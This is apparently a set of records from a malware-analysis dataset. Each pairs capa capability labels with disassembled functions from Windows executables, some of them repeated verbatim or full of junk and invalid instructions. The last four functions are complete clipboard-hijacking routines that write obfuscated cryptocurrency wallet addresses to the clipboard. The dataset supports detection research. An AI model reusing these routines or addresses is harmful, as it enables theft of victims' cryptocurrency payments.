joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a53
Capabilities:
Get disk information

Disassembly:
sbb dword [ebp - 0x41], 0x2a
mov edx, esi
pop esi
xor dword [ebp - 0x39], 0xffffffb5
add eax, edi
push 0x1c
push 0x405415
lea ebx, [0x405411]
push dword [ebx]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov edx, 0xffffffdf
mov ecx, 2
adc edi, dword [ebp - 0x28]
push 0x1c
push 0x405415
lea edx, [0x405411]
push dword [edx]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
or dword [ebp - 0x2e], 0x30
adc dword [ebp - 0x18], 0x1a
call fcn.0040243d
or eax, dword [0x4051de]
sub dword [ebp - 0xa], 0xffffffc3
add ah, byte [ebp - 0x20]
and edi, 5
mov ecx, dword [0x4051a8]
and eax, dword [ebp - 0x24]
xor esi, ebx
pop ecx
or dword [ebp - 0x27], 0x5e
or eax, ebx
adc ebx, dword [ebp - 0x23]
or cl, bl
push 4
push 0x40547c
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
cmp eax, 0
jne fcn.00402439
add esi, dword [ebp - 0x37]
mov ecx, 0x11
or dword [ebp - 8], ecx
push 0x405488
push 0x405480
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
or dword [ebp - 0x3a], edi
mov ecx, eax
sub dword [ebp - 0xf], esi
push str.afacobOatQxt
push str.OvAdYTeptgCNdyF
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne fcn.00402439
mov edx, dword [ebp - 1]
and dword [ebp - 0xd], edx
mov dword [ebp - 0x36], ebx
lea ecx, [0x40544e]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_EncodePointer]
add dword [ebp - 0x42], ebx
add dword [0x4051e0], 0x5b
call fcn.0040324c
xor dword [ebp - 1], edi
adc dword [ebp - 0xc], 0xffffffed
sub dword [ebp - 5], esi
xor esi, ebx
and esi, dword [0x4052a2]
sbb byte [0x40523b], bh
add esp, 4
sbb dword [ebp - 6], 5
or ebx, 0xffffffa5
and edi, dword [ebp - 3]
xor byte [ebp - 3], bh
push str.cHiYglNALT
push 0x405452
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp eax, 0
jne 0x40272e
sub edi, dword [ebp - 0x26]
and dword [ebp - 8], 0xffffff8e
adc ah, byte [ebp - 7]
adc edi, 0xfffffff8
push 4
push 0x40547c
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x40272e
adc dword [ebp - 0x38], 0xffffffb9
mov ecx, dword [ebp - 0x27]
mov edx, pe_nt_image_headers32
adc ah, bl
call fcn.00403e6b
xor ecx, ebx
or dword [ebp - 0x11], ecx
or edi, eax
sub dword [ebp - 0x12], 0x56
sbb eax, 0x5e
sbb edi, 0x6b
sub esp, 0xfffffffc
sub dword [ebp - 0x22], 0x57
add dword [0x4051d0], 0x7c
sub dword [ebp - 0x35], eax
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne fcn.00402439
mov edx, ebx
mov esi, dword [0x405193]
mov ecx, dword [ebp - 0x1a]
xchg esi, ebx
push 0xb
push str.eENUCSqAykQ
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
cmp eax, 0
jne fcn.00402439
mov ecx, dword [0x405275]
sbb dword [ebp - 0x4d], edi
call fcn.0040161b
add dword [ebp], 0x79
add dword [ebp - 0x22], esi
mov edx, dword [0x40513f]
add ebx, 0x14
Function at 0x403ade
Capabilities:
Authenticate hmac
Get disk information
Move file
Read .ini file

Disassembly:
mov edx, 0x66
adc dword [ebp - 0x32], ebx
sbb edx, esi
add esp, 4
mov edx, 0x5a
and esi, edx
mov edi, dword [ebp - 0x11]
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402d20
mov edx, edi
xor dword [ebp - 0x31], 0xffffffaf
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x402d20
or esi, 0
sub dword [ebp - 0x1b], 0xffffff80
push 0x1c
push 0x405415
lea edx, [0x405411]
push dword [edx]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov ecx, dword [ebp - 0x38]
xchg ecx, ebx
mov edx, 0x5f
call fcn.00404565
sub dword [ebp - 0x40], 0x2a
xor cl, byte [ebp - 0x19]
sub eax, 0xffffff8d
add dword [ebp - 0x1f], 3
mov dword [ebp - 3], eax
or ebx, edi
or eax, dword [ebp - 0x4a]
sub esp, 0xfffffffc
adc dword [ebp - 0x11], 0xffffff9e
sub dword [ebp - 0x3a], 0xffffffee
push 0x1c
push 0x405415
lea eax, [0x405411]
push dword [eax]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, edi
and esi, eax
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x401434
or edi, 0xffffffb0
and edi, 0xffffffd2
and esi, esi
xchg bh, bh
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x401434
mov dword [ebp - 0x45], eax
or bl, bl
and dword [ebp - 0x11], eax
mov edx, edi
call fcn.004024b3
or esi, eax
add dword [ebp - 0x14], edi
mov ecx, edi
add ebx, 0xffffff99
and eax, 0xffffffd9
and edi, eax
pop esi
xor ah, byte [0x405100]
mov dword [ebp - 0x48], 0x6c
mov edx, ecx
xor eax, dword [ebp - 0x3e]
push str.afacobOatQxt
push str.OvAdYTeptgCNdyF
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 0
jne 0x402143
mov ecx, dword [ebp - 0x3a]
mov edx, eax
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x402143
or esi, edi
adc edi, dword [ebp - 0x15]
call 0x403b83
mov dword [ebp - 0x56], ebx
mov ebx, dword [ebp - 0x15]
sbb dword [ebp - 0x27], 0xffffffb5
sbb dword [ebp - 0x26], eax
Function at 0x403b83
Capabilities:
Authenticate hmac
Get disk information
Move file
Read .ini file

Disassembly:
mov edx, 0x66
adc dword [ebp - 0x32], ebx
sbb edx, esi
add esp, 4
mov edx, 0x5a
and esi, edx
mov edi, dword [ebp - 0x11]
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402d20
mov edx, edi
xor dword [ebp - 0x31], 0xffffffaf
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x402d20
or esi, 0
sub dword [ebp - 0x1b], 0xffffff80
push 0x1c
push 0x405415
lea edx, [0x405411]
push dword [edx]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov ecx, dword [ebp - 0x38]
xchg ecx, ebx
mov edx, 0x5f
call fcn.00404565
sub dword [ebp - 0x40], 0x2a
xor cl, byte [ebp - 0x19]
sub eax, 0xffffff8d
add dword [ebp - 0x1f], 3
mov dword [ebp - 3], eax
or ebx, edi
or eax, dword [ebp - 0x4a]
sub esp, 0xfffffffc
adc dword [ebp - 0x11], 0xffffff9e
sub dword [ebp - 0x3a], 0xffffffee
push 0x1c
push 0x405415
lea eax, [0x405411]
push dword [eax]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, edi
and esi, eax
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x401434
or edi, 0xffffffb0
and edi, 0xffffffd2
and esi, esi
xchg bh, bh
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x401434
mov dword [ebp - 0x45], eax
or bl, bl
and dword [ebp - 0x11], eax
mov edx, edi
call fcn.004024b3
or esi, eax
add dword [ebp - 0x14], edi
mov ecx, edi
add ebx, 0xffffff99
and eax, 0xffffffd9
and edi, eax
pop esi
xor ah, byte [0x405100]
mov dword [ebp - 0x48], 0x6c
mov edx, ecx
xor eax, dword [ebp - 0x3e]
push str.afacobOatQxt
push str.OvAdYTeptgCNdyF
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 0
jne 0x402143
mov ecx, dword [ebp - 0x3a]
mov edx, eax
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x402143
or esi, edi
adc edi, dword [ebp - 0x15]
call 0x403b83
mov dword [ebp - 0x56], ebx
mov ebx, dword [ebp - 0x15]
sbb dword [ebp - 0x27], 0xffffffb5
sbb dword [ebp - 0x26], eax
Function at 0x403c1e
Capabilities:
Authenticate hmac
Get disk information
Move file
Read .ini file

Disassembly:
mov edx, 0x66
adc dword [ebp - 0x32], ebx
sbb edx, esi
add esp, 4
mov edx, 0x5a
and esi, edx
mov edi, dword [ebp - 0x11]
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402d20
mov edx, edi
xor dword [ebp - 0x31], 0xffffffaf
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x402d20
or esi, 0
sub dword [ebp - 0x1b], 0xffffff80
push 0x1c
push 0x405415
lea edx, [0x405411]
push dword [edx]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov ecx, dword [ebp - 0x38]
xchg ecx, ebx
mov edx, 0x5f
call fcn.00404565
sub dword [ebp - 0x40], 0x2a
xor cl, byte [ebp - 0x19]
sub eax, 0xffffff8d
add dword [ebp - 0x1f], 3
mov dword [ebp - 3], eax
or ebx, edi
or eax, dword [ebp - 0x4a]
sub esp, 0xfffffffc
adc dword [ebp - 0x11], 0xffffff9e
sub dword [ebp - 0x3a], 0xffffffee
push 0x1c
push 0x405415
lea eax, [0x405411]
push dword [eax]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, edi
and esi, eax
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x401434
or edi, 0xffffffb0
and edi, 0xffffffd2
and esi, esi
xchg bh, bh
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x401434
mov dword [ebp - 0x45], eax
or bl, bl
and dword [ebp - 0x11], eax
mov edx, edi
call fcn.004024b3
or esi, eax
add dword [ebp - 0x14], edi
mov ecx, edi
add ebx, 0xffffff99
and eax, 0xffffffd9
and edi, eax
pop esi
xor ah, byte [0x405100]
mov dword [ebp - 0x48], 0x6c
mov edx, ecx
xor eax, dword [ebp - 0x3e]
push str.afacobOatQxt
push str.OvAdYTeptgCNdyF
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 0
jne 0x402143
mov ecx, dword [ebp - 0x3a]
mov edx, eax
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
jne 0x402143
or esi, edi
adc edi, dword [ebp - 0x15]
call 0x403b83
mov dword [ebp - 0x56], ebx
mov ebx, dword [ebp - 0x15]
sbb dword [ebp - 0x27], 0xffffffb5
sbb dword [ebp - 0x26], eax
Function at 0x40415e
Capabilities:
Move file
Read .ini file

Disassembly:
sub byte [ebp - 0x58], bl
or dword [ebp - 0x54], 0xffffffd9
add dword [ebp - 0x5a], ebx
xor edi, 0x17
sub esp, 0xfffffffc
mov dword [ebp - 0x58], 0x97
adc byte [ebp - 0x3d], bl
mov ecx, dword [ebp - 0x59]
add dword [0x4051f2], eax
push str.hsXwZQHIdYHH
push 0xe
push 0x4053f6
push str.fqzCXoPGeaZPD
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
cmp eax, 0
jne fcn.00402439
mov edi, dword [ebp - 0x2e]
sbb dword [ebp - 0x55], 0x38
push 0x405488
push 0x405480
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov ecx, 0xffffffe6
mov edx, dword [0x40519b]
xor eax, 9
sub edx, dword [ebp - 0x17]
push 4
push 0x40547c
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
cmp eax, 0
jne fcn.00402439
adc dword [ebp - 0x59], edi
add esi, dword [ebp - 8]
and dword [ebp - 0x1e], 0x20
push 0xb
push str.eENUCSqAykQ
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
cmp eax, 0
jne fcn.00402439
adc esi, dword [ebp - 0xa]
or edi, 0x6f
mov edx, esi
or dword [ebp - 0x4b], esi
call fcn.00403302
or dword [ebp - 0x46], eax
adc esi, dword [ebp - 0x50]
mov ecx, 0x2b
add ecx, dword [ebp - 0x12]

Function at 0x404253
Capabilities:
Move file
Read .ini file

Disassembly:
xor bl, byte [ebp - 0x28]
mov dword [ebp - 0x27], 0xe8
mov dword [ebp - 0x29], pe_nt_image_headers32
pop eax
adc dword [ebp - 0x4e], 0x3c
mov ecx, 0xffffffe3
push str.afacobOatQxt
push str.OvAdYTeptgCNdyF
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 0
jne fcn.00402439
xor ebx, edi
mov edx, ebx
and edi, 0xffffff82
push 8
push 0x405468
push 0x13
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne fcn.00402439
xor ebx, eax
sbb edi, 0x38
sub edi, dword [ebp - 2]
push 0x1c
push 0x405415
lea edx, [0x405411]
push dword [edx]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
or eax, 0x20
and edi, esi
or edi, eax
adc dword [0x405156], ebx
push str.hsXwZQHIdYHH
push 0xe
push 0x4053f6
push str.fqzCXoPGeaZPD
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
test eax, eax
jne fcn.00402439
sub eax, 0xffffffda
mov bl, byte [ebp - 0x12]
call fcn.00402439
add bl, ah
sub esi, 0x2e
add dword [ebp - 0x51], 0xffffffc7

Function at 0x40431c
Capabilities:
Authenticate hmac
Get disk information
Move file
Read .ini file

Disassembly:
mov edx, dword [ebp - 0x52]
add al, bl
pop edi
mov esi, dword [ebp - 0xf]
mov edi, esi
xor edx, dword [ebp - 8]
push 0x1c
push 0x405415
lea eax, [0x405411]
push dword [eax]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
sub dword [ebp - 0x36], 0x78
mov ecx, esi
adc eax, edi
push str.RDgOJmQGH
push 0x4053bb
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4028e1
or esi, 0x24
mov ecx, eax
sub dword [ebp - 0x28], 8
and dword [ebp - 0x14], 0xffffff9c
push 0x405488
push 0x405480
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
sub edi, ebx
mov edx, 0x74
and dword [ebp - 0xf], edi
sub dword [ebp - 0x5b], 0x53
call fcn.004021f0
mov ecx, edi
add dword [ebp - 0x16], 0xffffffab
Function at 0x402170
Capabilities:
Get common file path

Disassembly:
sub esp, 0xb738
sbb byte [eax + 0x54004d0b], al
les ecx, [ecx + 0x8302484]
add cl, cl
push ebx
jnp 0x4021de
lea eax, [esp + 0x38000220]
xor eax, edi
push eax
jbe 0x4021ef
and al, 0x18
mov esi, dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push 0x104
call esi
mov ebx, esp
outsb dx, byte [esi]
jae 0x4021fa
add byte [eax + 0x38], ch
pop esi
dec esp
inc esi
lea ecx, [esp + 0x916a24]
in al, dx
call edi
lea edx, [esp + 0xe45020]
push edx
call 0x3f2767
add esp, 4
test eax, eax
jne 0x4021e5
xor ebx, dword [eax - 0x74a4a1a1]
mov word [eax + esi], fs
or byte [eax], al
add byte [ebx], dh
sub eax, 0xffffffd3
int1
add al, 0
add esp, 0x8738
ret
lea eax, [ecx + eax*2 + 0x18]
push eax
push 0x5c0104
call esi
lea esp, [edx + 0x24]
xor byte [0x99e80048], al
js 0x4021fb
invalid
dec dword [ebx + 0x548dfece]
and al, 0x1c
push edx
push dword [ebp + ecx*4 - 0x21]
and al, 0x18
add edi, edi
adc eax, 0xe44bb088
test eax, eax
jne 0x40223c
dec esp
dec esp
and al, 0x18
push ecx
lea ecx, [esp + 0x18]
call fcn.0040244d
mov eax, dword [eax]
shr dword [edx], 0xbb
add dword [0x15ff0000], edx
push esp
jae 0x4022af
cmpsd dword [esi], dword es:[edi]
mov byte [esp + 0x13], bl
mov ebp, 0xa90575c0
inc esp
and al, 0x13
add byte [edx + 0x2074011f], bh
test eax, 0x132444
mov edx, 0x2074011f
mov ebx, edx
and al, 0x14
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
invalid
and al, 0xbd
aad 0
add byte [edx - 1], dl
jg 0x40223c
jae fcn.00402305
add byte [ebp - 0x5a40f040], al
invalid

Function at 0x44fe98
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword [esi]
push edi
mov edi, dword [esp + 0x54]
mov eax, ecx
shr eax, 3
invalid
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
sub esp, 0x58
mov dword [esp + 4], 0x39
mov dword [esp], 0x2002
mov dword [esp + 0x17], 0x35464347
mov dword [esp + 0x1b], 0x43523656
mov dword [esp + 0x1f], 0x55344a51
mov dword [esp + 0x23], 0x5a594757
mov dword [esp + 0x27], 0x4c424532
mov dword [esp + 0x2b], 0x5755364f
mov dword [esp + 0x2f], 0x35454452
mov dword [esp + 0x33], 0x32505358
mov dword [esp + 0x37], 0x36534e52
mov dword [esp + 0x3b], 0x4a4d4456
mov dword [esp + 0x3f], 0x5a47334e
mov dword [esp + 0x43], 0x4f4b3248
mov dword [esp + 0x47], 0x57554e49
mov dword [esp + 0x4b], 0x32505550
mov byte [esp + 0x4f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x17]
mov dword [eax], edx
mov edx, dword [esp + 0x1b]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1f]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x23]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x27]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x2b]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2f]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x33]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x37]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x3b]
mov dword [eax + 0x24], edx
mov edx, dword [esp + 0x3f]
mov dword [eax + 0x28], edx
mov edx, dword [esp + 0x43]
mov dword [eax + 0x2c], edx
mov edx, dword [esp + 0x47]
mov dword [eax + 0x30], edx
mov edx, dword [esp + 0x4b]
mov dword [eax + 0x34], edx
movzx edx, byte [esp + 0x4f]
mov byte [eax + 0x38], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4015a1
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x58
pop ebx
ret
Function at 0x401610
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x686a
sub esp, 0x48
mov dword [esp + 4], 0x2b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x71316362
mov dword [esp + 0x19], 0x71333339
mov dword [esp + 0x1d], 0x7a716e77
mov dword [esp + 0x21], 0x6c35686c
mov dword [esp + 0x25], 0x3439646c
mov dword [esp + 0x29], 0x35713270
mov dword [esp + 0x2d], 0x6333776d
mov dword [esp + 0x31], 0x77646e6e
mov dword [esp + 0x35], 0x70797070
mov dword [esp + 0x39], 0x76716477
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x28], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401728
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x401730
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
mov eax, 0x6738
sub esp, 0x48
mov dword [esp + 4], 0x2b
mov dword [esp], 0x2002
mov dword [esp + 0x15], 0x6e617a71
mov dword [esp + 0x19], 0x78387035
mov dword [esp + 0x1d], 0x33777439
mov dword [esp + 0x21], 0x72347568
mov dword [esp + 0x25], 0x7a736768
mov dword [esp + 0x29], 0x78776879
mov dword [esp + 0x2d], 0x756d6b39
mov dword [esp + 0x31], 0x616e6732
mov dword [esp + 0x35], 0x61707964
mov dword [esp + 0x39], 0x63653378
mov word [esp + 0x3d], ax
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x15]
mov dword [eax], edx
mov edx, dword [esp + 0x19]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1d]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x21]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x25]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x29]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2d]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x31]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x35]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x39]
mov dword [eax + 0x24], edx
movzx edx, word [esp + 0x3d]
mov word [eax + 0x28], dx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2a], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401848
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret
Function at 0x401850
Capabilities:
Contain obfuscated stackstrings
Open clipboard
Write clipboard data

Disassembly:
push ebx
sub esp, 0x48
mov dword [esp + 4], 0x2d
mov dword [esp], 0x2002
mov dword [esp + 0x13], 0x55427034
mov dword [esp + 0x17], 0x7835464b
mov dword [esp + 0x1b], 0x776f3737
mov dword [esp + 0x1f], 0x4e413165
mov dword [esp + 0x23], 0x3661447a
mov dword [esp + 0x27], 0x74784179
mov dword [esp + 0x2b], 0x79465a48
mov dword [esp + 0x2f], 0x446a7253
mov dword [esp + 0x33], 0x68456632
mov dword [esp + 0x37], 0x62546d53
mov dword [esp + 0x3b], 0x75347565
mov byte [esp + 0x3f], 0
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov ebx, eax
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov edx, dword [esp + 0x13]
mov dword [eax], edx
mov edx, dword [esp + 0x17]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x1b]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x1f]
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x23]
mov dword [eax + 0x10], edx
mov edx, dword [esp + 0x27]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x2b]
mov dword [eax + 0x18], edx
mov edx, dword [esp + 0x2f]
mov dword [eax + 0x1c], edx
mov edx, dword [esp + 0x33]
mov dword [eax + 0x20], edx
mov edx, dword [esp + 0x37]
mov dword [eax + 0x24], edx
mov edx, dword [esp + 0x3b]
mov dword [eax + 0x28], edx
movzx edx, byte [esp + 0x3f]
mov byte [eax + 0x2c], dl
mov dword [esp], ebx
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x401964
call sub.USER32.dll_EmptyClipboard
mov dword [esp + 4], ebx
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
call sub.USER32.dll_CloseClipboard
add esp, 0x48
pop ebx
ret